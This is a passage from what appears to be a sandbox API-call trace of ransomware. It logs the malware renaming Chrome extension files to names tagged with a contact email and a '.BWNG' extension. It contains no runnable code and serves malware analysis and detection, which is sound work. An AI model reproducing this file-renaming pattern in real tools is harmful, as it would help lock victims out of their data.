Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\[billwong73@yahoo.com].B7F3Mbix-RGdbMXYr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\[billwong73@yahoo.com].b7f3mbix-rgdbmxyr.bwng"), dwFlags=0x1) returned 1 [0130.926] GetTickCount () returned 0x116843e [0130.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27287869188) returned 1 [0130.927] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\[billwong73@yahoo.com].L9qYQE0W-BsxQcbGS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\[billwong73@yahoo.com].l9qyqe0w-bsxqcbgs.bwng"), dwFlags=0x1) returned 1 [0130.928] GetTickCount () returned 0x116843e [0130.928] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27288025584) returned 1 [0130.928] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\[billwong73@yahoo.com].83BZ28Bg-1CJLLsGE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\[billwong73@yahoo.com].83bz28bg-1cjllsge.bwng"), dwFlags=0x1) returned 1 [0130.930] GetTickCount () returned 0x116843e [0130.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27288195355) returned 1 [0130.930] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\[billwong73@yahoo.com].hvnDLRsr-0msO59je.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\[billwong73@yahoo.com].hvndlrsr-0mso59je.bwng"), dwFlags=0x1) returned 1 [0131.074] GetTickCount () returned 0x11684da [0131.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27302664203) returned 1 [0131.075] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\[billwong73@yahoo.com].bxDmoapn-tamFv6vi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\[billwong73@yahoo.com].bxdmoapn-tamfv6vi.bwng"), dwFlags=0x1) returned 1 [0131.077] GetTickCount () returned 0x11684da [0131.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27302946103) returned 1 [0131.078] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\[billwong73@yahoo.com].lUa6dMQB-8C1dDH9R.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\[billwong73@yahoo.com].lua6dmqb-8c1ddh9r.bwng"), dwFlags=0x1) returned 1 [0131.079] GetTickCount () returned 0x11684da [0131.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27303141827) returned 1 [0131.079] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\[billwong73@yahoo.com].hEIqv18V-AhYObBK4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\[billwong73@yahoo.com].heiqv18v-ahyobbk4.bwng"), dwFlags=0x1) returned 1 [0131.081] GetTickCount () returned 0x11684da [0131.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27303325436) returned 1 [0131.081] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\[billwong73@yahoo.com].5BaIjwDv-HoDrmz84.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\[billwong73@yahoo.com].5baijwdv-hodrmz84.bwng"), dwFlags=0x1) returned 1 [0131.083] GetTickCount () returned 0x11684da [0131.083] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27303491395) returned 1 [0131.083] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\[billwong73@yahoo.com].p7SjceKI-zpu9KZdo.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\[billwong73@yahoo.com].p7sjceki-zpu9kzdo.bwng"), dwFlags=0x1) returned 1 [0131.084] GetTickCount () returned 0x11684da [0131.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27303643875) returned 1 [0131.084] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\[billwong73@yahoo.com].msZzR94F-8xHTxCxf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\[billwong73@yahoo.com].mszzr94f-8xhtxcxf.bwng"), dwFlags=0x1) returned 1 [0131.086] GetTickCount () returned 0x11684da [0131.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27303812218) returned 1 [0131.086] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\[billwong73@yahoo.com].t2co2b1V-H3fmLLpC.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\[billwong73@yahoo.com].t2co2b1v-h3fmllpc.bwng"), dwFlags=0x1) returned 1 [0131.088] GetTickCount () returned 0x11684e9 [0131.089] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27304075320) returned 1 [0131.096] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\[billwong73@yahoo.com].ShZes9du-ZFdmynaS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_gb\\[billwong73@yahoo.com].shzes9du-zfdmynas.bwng"), dwFlags=0x1) returned 1 [0131.098] GetTickCount () returned 0x11684e9 [0131.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27305064558) returned 1 [0131.099] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\[billwong73@yahoo.com].LghMMSh3-8zarMS6l.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_ca\\[billwong73@yahoo.com].lghmmsh3-8zarms6l.bwng"), dwFlags=0x1) returned 1 [0131.100] GetTickCount () returned 0x11684e9 [0131.100] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27305245887) returned 1 [0131.101] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\[billwong73@yahoo.com].3527OiI7-27GZ7lRF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\[billwong73@yahoo.com].3527oii7-27gz7lrf.bwng"), dwFlags=0x1) returned 1 [0131.102] GetTickCount () returned 0x11684e9 [0131.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27305427257) returned 1 [0131.102] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\[billwong73@yahoo.com].KZt7JNjQ-EUUmZb6r.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\[billwong73@yahoo.com].kzt7jnjq-euumzb6r.bwng"), dwFlags=0x1) returned 1 [0131.105] GetTickCount () returned 0x11684f9 [0131.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27305677442) returned 1 [0131.105] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\[billwong73@yahoo.com].qarI7W2k-paJvmNiz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\[billwong73@yahoo.com].qari7w2k-pajvmniz.bwng"), dwFlags=0x1) returned 1 [0131.106] GetTickCount () returned 0x11684f9 [0131.106] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27305818551) returned 1 [0131.106] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\[billwong73@yahoo.com].RRwfd5jT-Rolk8d5X.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\[billwong73@yahoo.com].rrwfd5jt-rolk8d5x.bwng"), dwFlags=0x1) returned 1 [0131.108] GetTickCount () returned 0x11684f9 [0131.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27305991767) returned 1 [0131.108] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\[billwong73@yahoo.com].BPTA9yr9-Q1Ld2ptp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\[billwong73@yahoo.com].bpta9yr9-q1ld2ptp.bwng"), dwFlags=0x1) returned 1 [0131.109] GetTickCount () returned 0x11684f9 [0131.110] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27306176643) returned 1 [0131.110] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_maximize.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].gGSfLuHF-tbRMIEzf.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].ggsfluhf-tbrmiezf.bwng"), dwFlags=0x1) returned 1 [0131.111] GetTickCount () returned 0x11684f9 [0131.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27306326498) returned 1 [0131.111] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_GB\\[billwong73@yahoo.com].VIYeb17k-PBMoGXV7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en_gb\\[billwong73@yahoo.com].viyeb17k-pbmogxv7.bwng"), dwFlags=0x1) returned 1 [0131.113] GetTickCount () returned 0x11684f9 [0131.113] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27306481324) returned 1 [0131.113] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\[billwong73@yahoo.com].NV0qwOD0-Th7fnINS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\[billwong73@yahoo.com].nv0qwod0-th7fnins.bwng"), dwFlags=0x1) returned 1 [0131.114] GetTickCount () returned 0x11684f9 [0131.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27306639831) returned 1 [0131.114] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\[billwong73@yahoo.com].e5RUZMst-6VPNGBv0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\[billwong73@yahoo.com].e5ruzmst-6vpngbv0.bwng"), dwFlags=0x1) returned 1 [0131.116] GetTickCount () returned 0x11684f9 [0131.116] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27306795791) returned 1 [0131.116] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\[billwong73@yahoo.com].63zJ7Zsm-82k4wNbF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\[billwong73@yahoo.com].63zj7zsm-82k4wnbf.bwng"), dwFlags=0x1) returned 1 [0131.117] GetTickCount () returned 0x11684f9 [0131.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27306962080) returned 1 [0131.118] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\[billwong73@yahoo.com].9U6Encho-LgfiFPGm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\[billwong73@yahoo.com].9u6encho-lgfifpgm.bwng"), dwFlags=0x1) returned 1 [0131.297] GetTickCount () returned 0x11685b4 [0131.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27324928889) returned 1 [0131.298] MoveFileExW 